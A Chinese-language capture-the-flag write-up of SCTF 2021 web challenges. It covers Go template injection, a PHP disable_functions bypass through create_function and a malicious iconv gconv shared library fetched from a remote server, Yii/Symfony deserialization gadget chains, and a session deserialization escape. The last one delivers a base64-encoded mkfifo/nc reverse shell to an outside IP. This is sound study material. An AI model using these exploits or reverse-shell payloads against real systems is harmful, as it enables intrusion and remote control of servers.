复现环境:NSSCTF
第一个就是学到了RCEME中绕过disabled_function
和无参数rce的方法
第二个就是找反序列化链子
upload1和upload2都是找yii
的反序列化链子,$可控()
可以来触发__invoke
和__call
,后者需要是数组模式,所以后者这种数组模式也可以用来调用某个对象的某个方法。
然后学会了一些session的方法,我们通过上传文件,然后保存在session文件,然后上传我们的文件,覆盖之前的session文件,再次方法,从而可以把我们的结果带出来
ezosu
也是找链子,通过伪造传入的POST值,造成反序列化逃逸,然后加入我们链子,GET方式带出来。
后面两个题,就稍微看了下思路
GO的模板注入
middleware.go
package middleware
import (
"github.com/gin-gonic/gin"
)
func LocalRequired() gin.HandlerFunc {
return func(c *gin.Context) {
if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
c.AbortWithStatus(403)
return
}
ip := c.ClientIP()
if ip == "127.0.0.1" {
c.Next()
} else {
c.AbortWithStatus(401)
}
}
}
过滤了x-forwarded-for
和x-client-for
而又需要localhost
,所以我们利用X-Real-IP
来绕过。
route.go
package route
import (
_ "embed"
"fmt"
"html/template"
"loginme/structs"
"loginme/templates"
"strconv"
"github.com/gin-gonic/gin"
)
func Index(c *gin.Context) {
c.HTML(200, "index.tmpl", gin.H{
"title": "Try Loginme",
})
}
func Login(c *gin.Context) {
idString, flag := c.GetQuery("id")
if !flag {
idString = "1"
}
id, err := strconv.Atoi(idString)
if err != nil {
id = 1
}
TargetUser := structs.Admin
for _, user := range structs.Users {
if user.Id == id {
TargetUser = user
}
}
age := TargetUser.Age
if age == "" {
age, flag = c.GetQuery("age")
if !flag {
age = "forever 18 (Tell me the age)"
}
}
if err != nil {
c.AbortWithError(500, err)
}
html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)
if err != nil {
c.AbortWithError(500, err)
}
tmpl, err := template.New("admin_index").Parse(html)
if err != nil {
c.AbortWithError(500, err)
}
tmpl.Execute(c.Writer, TargetUser)
}
struct.go
package structs
type UserInfo struct {
Id int
Username string
Age string
Password string
}
var Users = []UserInfo{
{
Id: 1,
Username: "Grandpa Lu",
Age: "22",
Password: "hack you!",
},
{
Id: 2,
Username: "Longlone",
Age: "??",
Password: "i don't know",
},
{
Id: 3,
Username: "Teacher Ma",
Age: "20",
Password: "guess",
},
}
var Admin = UserInfo{
Id: 0,
Username: "Admin",
Age: "",
Password: "flag{}",
}
由struct.go
可得flag在Password
里面,所以id=0
然后直接通过控制age
参数,模板注入获得Password
if(isset($_POST['cmd'])){
$code = $_POST['cmd'];
if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
die('');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
die();
}
} else {
highlight_file(__FILE__);
var_dump(ini_get("disable_functions"));
}
?>
看到首页,var_dump(ini_get("disable_functions"));
,多半要考绕过disabled_functions
先总结下获取disabled_funciton的方式
1.phpinfo()
2.var_dump(ini_get(“disable_functions”));
3.var_dump(get_cfg_var(“disable_functions”));
其他的
var_dump(get_cfg_var(“open_basedir”));
var_dump(ini_get_all());
看代码:
总共的符号有:
~,`,!,@,#,$,%,^,&,*,(,),_,-,=,+,[,],{,},;,:,'',"",<,>,,,?,\,|,/,?,.,空格,回车,换行,tab键
除了过滤的,剩下的还有~,@,%,#,^,*,(),_,[],{},;,:,.
除了disabled_functions,剩下的函数
strlen
error_reporting
set_error_handler
create_function
preg_match
preg_replace
phpinfo
strstr
escapeshellarg
getenv
putenv
call_user_func
unserialize
var_dump
highlight_file
show_source
ini_get
end
apache_setenv
getallheaders
我们需要执行eval
,可以利用create_function
这里逗号被过滤,为了传入参数,我们可以使用可变参数列表实现
在PHP 5.6以后,参数列表可以包括…,他表示函数接受可变数量的参数。参数将作为数组传递到给定的变量中
$args=['','}system("whoami");//'];
create_function(...$args);
?>
原理:create_function,相当于创建了一个函数,利用}
闭合前面的{
,然后执行代码,最后利用//
来注释点后面的}
因为过滤函数太多,我们构造
create_function(...unserialize(end(getallheaders())))
create_funtion本质是语法解析的。可以直接注入eval
end — 将array的内部指针移动到最后一个单元并返回其值。
getallheaders — 获取全部 HTTP 请求头信息,得到一个数组(有键值对)
构造序列化内容
$arr=['','}eval($_POST["a"]);//'];
$str=serialize($arr);
echo $str;
就是将这串得到的序列化字符,放在http保报文头部最后,然后反序列化,就可以触发代码
异或脚本,不被过滤的cmd
def one(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:].upper()
return f"[~{ss}][!%FF]("
while 1:
a = input(":>").strip(")")
aa = a.split("(")
s = ""
for each in aa[:-1]:
s += one(each)
s += ")" * (len(aa) - 1) + ";"
print(s)
手动加 …
[~%9C%8D%9A%9E%8B%9A%A0%99%8A%91%9C%8B%96%90%91][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));
利用iconv
去绕过df
参考:https://xz.aliyun.com/t/8669#toc-8
流程:
用自己的linux系统
创建payload.c
#include
#include
void gconv() {}
void gconv_init() {
puts("pwned");
system("bash -c '/readflag > /tmp/sna'");
exit(0);
}
生成so文件(这儿介绍哈so文件)
gcc payload.c -o payload.so -shared -fPIC
再创建一个gconv-modules文件
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2
把这两个文件放到服务器上,记得打开端口,然后创建一个网站,能直接访问到网站的目录。
然后利用 SplFileObject
写 payload.so 和 gconv-modules
一定等响应包状态为200,才是写进去文件了
a=$url="http://xx.xx.171.248:10000/payload.so";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);
a=$url = "http://xx.xx.171.248:39543/gconv-modules";$file1 = new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);
利用伪协议触发
a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");
进行读取
a=show_source("/tmp/sna");
拿到flag。
下载附件,composer.json
中有两个组件,下载
看附件给出的源码
include_once "../vendor/autoload.php";
error_reporting(0);
session_start();
define("UPLOAD_PATH", "/tmp/sandbox");
if (!file_exists(UPLOAD_PATH)) {
@mkdir(UPLOAD_PATH);
}
function make_user_upload_dir() {
$md5_dir = md5($_SERVER['REMOTE_ADDR'] . session_id());
$upload_path = UPLOAD_PATH . "/" . $md5_dir;
@mkdir($upload_path);
$_SESSION["upload_path"] = $upload_path;
}
if (empty($_SESSION["upload_path"])) {
make_user_upload_dir();
}
if (!empty($_FILES['file'])) {
$file = $_FILES['file'];
if ($file['size'] < 1024 * 1024) {
if (!empty($_POST['path'])) {
$upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
$upload_file = $upload_file_path."/".$file['name'];
} else {
$upload_file_path = $_SESSION["upload_path"];
$upload_file = $_SESSION["upload_path"]."/".$file['name'];
}
if (move_uploaded_file($file['tmp_name'], $upload_file)) {
echo "OK! Your file saved in: " . $upload_file;
} else {
echo "emm...Upload failed:(";
}
} else {
echo "too big!!!";
}
} else if (!empty($_GET['phpinfo'])) {
phpinfo();
exit();
} else {
echo <<<CODE
Upload
Upload files casually XD
or...Just look at the phpinfo?
go to phpinfo
CODE;
}
然后一看是个yii2
的框架,大概率是反序列化找链子
之前做过的yii,一般都是找call_user_func_array
\vendor\opis\closure\src\SerializableClosure.php
找其他的魔法函数
看到了这个
所以,我们利用__sleep
来触发__toString
__toString
中的try
里可以触发,属性可控
return $this->value = ($this->value)();
链子就出来了
namespace Symfony\Component\String;
class LazyString
{
public $value;
public function __construct()
{
require "vendor/opis/closure/autoload.php";
$func =function(){system("cat /flag");};
$this->value = new \Opis\Closure\SerializableClosure($func);
}
}
print("upload_path|".serialize(new LazyString())).PHP_EOL;
这儿传入func的目的是对$closure
进行赋值,然后通过call_user_func_array
进行执行命令。
得到反序列化值,传入文件
因为我们传入文件是放在session
中,所以我们将文件名改为sess_自己的PHPSESSION
,从而覆盖session文件,然后我们重新访问,把我们命令执行的结果带出来,得到flag。
添加了一个sandbox类
include_once "../vendor/autoload.php";
error_reporting(0);
session_start();
define("UPLOAD_PATH", "/tmp/sandbox");
if (!file_exists(UPLOAD_PATH)) {
@mkdir(UPLOAD_PATH);
}
// emmm...easy backdoor
class sandbox {
private $evil;
public $upload_path;
public function make_user_upload_dir() {
$md5_dir = md5($_SERVER['REMOTE_ADDR'] . session_id());
$this->upload_path = UPLOAD_PATH . "/" . $md5_dir;
@mkdir($this->upload_path);
$_SESSION["upload_path"] = $this->upload_path;
}
public function has_upload_dir() {
return !empty($_SESSION["upload_path"]);
}
public function __wakeup() {
/*
I removed this code because it was too dangerous.
*/
throw new Error("NO NO NO");
}
public function __destruct() {
/*
I removed this code because it was too dangerous.
*/
}
public function __call($func, $value) {
if (method_exists($this, $func)) {
call_user_func_array(
[$this, $func],
$value
);
}
}
private function backdoor() {
// __destruct and __wakeup are deleted. It looks like backdoor should not be called.
include_once $this->evil;
}
}
$box = new sandbox();
if (!$box->has_upload_dir()) {
$box->make_user_upload_dir();
}
if (!empty($_FILES['file'])) {
$file = $_FILES['file'];
if ($file['size'] < 1024 * 1024) {
if (!empty($_POST['path'])) {
$upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
$upload_file = $upload_file_path."/".$file['name'];
} else {
$upload_file_path = $_SESSION["upload_path"];
$upload_file = $_SESSION["upload_path"]."/".$file['name'];
}
if (move_uploaded_file($file['tmp_name'], $upload_file)) {
echo "OK! Your file saved in: " . $upload_file;
} else {
echo "emm...Upload failed:(";
}
} else {
echo "too big!!!";
}
} else if (!empty($_GET['phpinfo'])) {
phpinfo();
exit();
} else {
echo <<<CODE
Upload
Upload files casually XD
or...Just look at the phpinfo?
go to phpinfo
CODE;
}
还是利用__toString
函数
**重点:**以前遇到的形式可能是这样的 $可控->$可控()
这样触发 __call方法
这里形式是 $可控()
,我们给 $this->value
为数组模式
触发了__call
,因为__toString
传过来的都是无参数的函数,所以需要找个无参数的函数
刚好backdoor
满足,利用include_once
所以exp为
namespace Symfony\Component\String{
class LazyString{
public $value;
public function __construct($value){
$this->value = $value;
}
}
}
namespace {
class sandbox {
public $evil;
public function __construct(){
$this->evil = "/tmp/sanbox/flag";
}
}
use Symfony\Component\String\LazyString;
$value = [new sandbox,"backdoor"];
$lazy = new LazyString($value);
echo serialize($lazy);
}
因为是文件包含,所以方式挺多的,比如include_once($_GET['a'])
或者php伪协议之类的
给出了一个附件,里面就是nginx反代和IMI的php框架
其中反代这里只有对请求进行转发和/app/static目录下的一大堆静态文件
我们先看IndexController
文件
namespace ImiApp\ApiServer\Controller;
use Imi\App;
use Imi\Db\Db;
use Imi\Redis\Redis;
use Imi\Server\Http\Controller\HttpController;
use Imi\Server\Http\Route\Annotation\Action;
use Imi\Server\Http\Route\Annotation\Controller;
use Imi\Server\Http\Route\Annotation\Route;
use Imi\Server\View\Annotation\HtmlView;
use Imi\Server\View\Annotation\View;
use Imi\Server\Session\Session;
/**
* @Controller("/")
*/
class IndexController extends HttpController
{
/**
* @Action
* @Route("/")
*
* @return array
*/
public function index()
{
return $this->response->redirect("/index.html");
}
/**
* @Action
*
* @return array
*/
public function config()
{
$method = $this->request->getMethod();
$res = [
"msg" => "ok",
"status" => "200",
"value" => true
];
if ($method === "POST") {
Session::clear();
$configData = $this->request->getParsedBody();
foreach ($configData as $k => $v) {
Session::set($k, $v);
}
} else if ($method === "GET") {
$configData = Session::get();
if ($configData != null) {
$res["value"] = $configData;
} else {
$res = [
"msg" => "Not Find",
"status" => "404",
"value" => null
];
}
} else {
$res = [
"msg" => "Unsupported method",
"status" => "405",
"value" => false
];
}
return $res;
}
}
这儿分析一下就是,使用POST传参则将json中的值放到Session中,然后使用GET请求访问则获取Session中所有的值并显示出来。
下面是对session的操作
function encode($data)
{
$result = '';
foreach ($data as $k => $v)
{
$result .= $k . '|' . serialize($v);
}
return $result;
}
function decode($data)
{
$result = [];
$offset = 0;
$length = \strlen($data);
while ($offset < $length)
{
if (!strstr(substr($data, $offset), '|'))
{
return [];
}
$pos = strpos($data, '|', $offset);
$num = $pos - $offset;
$varname = substr($data, $offset, $num);
$offset += $num + 1;
$a = substr($data, $offset);
$dataItem = unserialize($a);
$result[$varname] = $dataItem;
$offset += \strlen(serialize($dataItem));
}
return $result;
}
操作:一定要先写入session中,然后再get方法访问。
因为在对session的操作encode
中,将POST键值对写入session中
然后在GET方法中,再进行解码
我们做个小实验
就在上面的代码加上
$data
的值,是伪造POSTaa|s:4:z3eyond|s:5:"admin";=b
经过encode后的值。
$data = 'aa|s:4:z3eyond|s:5:"admin";|s:1:"b";';
var_dump(decode($data));
这刚好是我们上面的截图
所以我们利用方式就是通过这个来为找反序列化值,从而造成反序列化逃逸
给了一个imi框架,我们还是找链子
入口还是经典的
LazyString,因为这里存在serialize操作,所以会触发__sleep()
,然后到__toString()
再到LazyOption.php
所以我们构造链子
namespace Symfony\Component\String{
class LazyString{
public $value;
public function __construct($value){
$this->value=$value;
}
}
}
namespace PhpOption{
final class LazyOption{
public $callback;
public $arguments;
public function __construct($callback,$arguments){
$this->callback=$callback;
$this->arguments=$arguments;
}
}
}
namespace {
use Symfony\Component\String\LazyString;
$la = new LazyString([new PhpOption\LazyOption("system",array('echo$IFS$9cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMS4xNS42Ny4xNDIgMTMzNyA+L3RtcC9m|base64$IFS$9-d|sh')),"get"]);
echo urlencode(serialize($la));
}
其中。
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMS4xNS42Ny4xNDIgMTMzNyA+L3RtcC9m
对应:(一种反弹shell的方式)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.15.67.142 1337 >/tmp/f
关于mkfifo
,可以看看https://www.cnblogs.com/52php/p/5840229.html
链子:
Symfony\Component\String\LazyString: serialize ==> __sleep()==>__toString()
==>
PhpOption\LazyOption: get()==>option()==>call_user_func_array
其中return $this->value=($this->value)()
我们给value赋值数组,一个是对象,一个是方法名。
再看看feng师傅的链子
namespace Symfony\Component\String{
use PhpOption\LazyOption;
class LazyString{
public $value;
public function __construct(){
$a = new LazyOption();
$this->value =[$a,'getIterator'];//这儿则是通过LazyOption的getIterator到option方法的。
}
}
}
namespace PhpOption{
final class LazyOption{
public $option = null;
public $callback = 'create_function';
public $arguments = ['',"}system(base64_decode('xxx'));//"];
}
}
namespace {
use Symfony\Component\String\LazyString;
session_start();
$_SESSION['feng'] = new LazyString();
}
还可以看看出题人的链子
https://tttang.com/archive/1393/
然后传入POST参数
自己的云服务器监听,然后再get,就可以了。
类似于强网杯那个pop master
,给了几万个类,要我们进行反序列化
看大佬们的分析
https://eastjun.top/2021/12/28/sctf2021/
import re
import base64
otov = {}
vtoo = {}
otoc = {}
ctoo = {}
otof = {}
ftoo = {}
otoa = {}
classes = {}
def trav(name, cls, al):
if "fumo" in classes[name]:
print("->".join(cls))
print(f"start->{'->'.join(al)}->end",end="\n\n")
return 1
for call in otoc[name]:
if call in ftoo.keys():
next = ftoo[call]
if next not in cls:
trav(next, cls + [next], al+[otoa[name]])
return 0
if __name__ == "__main__":
with open("class.code") as f:
text = f.read()
res = re.findall("class[\w\W]+?}[\w\W]+?}", text)
for i in res:
name = re.findall("class (\w+)", i)[0]
classes[name] = i
fs = re.findall("public object (\$\w+?);", i)
otov[name] = fs
for fc in fs:
vtoo[fc] = name
calls = re.findall("\$this->\w+?->(\w+)\(", i)
calls1 = []
a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+)[)]?;", i)
disable = ("md5", "sha1", "crypt", "ucfirst")
for call in calls:
ctoo[call] = name
if len(a) == 0 and "crypt" not in i:
calls1.append(call)
otoa[name]=""
else:
if len(a) == 0:
a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+), \'\w+?\'[)]?;", i)
if len(a)==1:
a = list(a[0])
if "crypt" in i:
a[1] = "crypt"
otoa[name] = a[1]
if a[0] == a[2] and (
a[1] != ""
and not (a[1] in disable and i.find(a[1]) < i.find(call))
or a[1] == ""):
calls1.append(call)
calls2 = re.findall("@call_user_func\(\$this->\w+?, \[\'(\w+?)\' => \$\w+?]\);", i)
if calls2:
ctoo[name] = calls2[0]
otoa[name] = ""
otoc[name] = calls1 + calls2
func = re.findall("function (\w+?)\(", i)[0]
ftoo[func] = name
otof[name] = func
if func == "__call":
calls = re.findall("=> '(\w+?)'", i)
otoc[name] = calls
ctoo[calls[0]] = name
func = re.findall("\[\$this->\w+?, \$(\w+)?\]", i)[0]
otof[name] = func
ftoo[func] = name
otoa[name] = ""
elif func == "__invoke":
calls = re.findall("\$this->\w+?->(\w+?)\(", i)
otoc[name] = calls
ctoo[calls[0]] = name
func = re.findall("\$key = base64_decode\('(.+?)'\);", i)[0]
func = base64.b64decode(func.encode()).decode()
otof[name] = func
ftoo[func] = name
otoa[name] = ""
trav(ftoo["__destruct"], [ftoo["__destruct"]],[])
参考:
https://www.anquanke.com/post/id/264528#h3-1